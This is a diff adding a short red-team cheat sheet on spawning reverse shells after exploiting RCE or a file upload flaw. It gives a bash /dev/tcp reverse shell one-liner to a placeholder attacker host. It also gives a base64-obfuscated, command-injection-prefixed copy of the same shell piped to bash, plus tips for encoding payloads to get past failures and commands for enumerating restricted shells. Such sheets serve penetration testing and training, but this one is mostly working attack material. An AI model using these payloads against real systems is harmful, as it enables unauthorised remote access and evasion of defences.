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Script/Red-Team/Bash-script/Reverse-shell.md

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+# TIPS 
+
+If you have obtained a vulnerability such as RCE, file upload or something else, you can use the script below to spawn a shell or backconnect revershell. If the shell does not run see below
+
+1. Make sure the target has internet access (internet access opened)
+2. Try changing the port to a larger one such as 8080, 8888, etc. 
+3. Encode your script using base64 and then decode it 
+4. Encode your script using url encode 
+
+## Script 1 
+
+```
+sh -i >& /dev/tcp/<YOUR HOST OR IP>/<PORT> 0>&1
+```
+
+## Script 2
+
+```
+; echo c2ggLWkgPiYgL2Rldi90Y3AvPFlPVVIgSE9TVCBPUiBJUD4vPFBPUlQ+IDA+JjE= | base64 -d | bash;"
+```
+
+## Tips escape from jails or hardening server  
+
+### Enum about the jail 
+
+```
+echo $SHELL
+echo $PATH
+env
+export
+pwd
+```
+
+Source 
+
+- [Hacktrikcs Escaping from Jails](https://hacktricks.boitatech.com.br/linux-unix/privilege-escalation/escaping-from-limited-bash)
+- [Hacktricks github escape from jails](https://github.com/HackTricks-wiki/hacktricks/blob/master/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
+- [0xffsec restricted-shells](https://0xffsec.com/handbook/shells/restricted-shells/)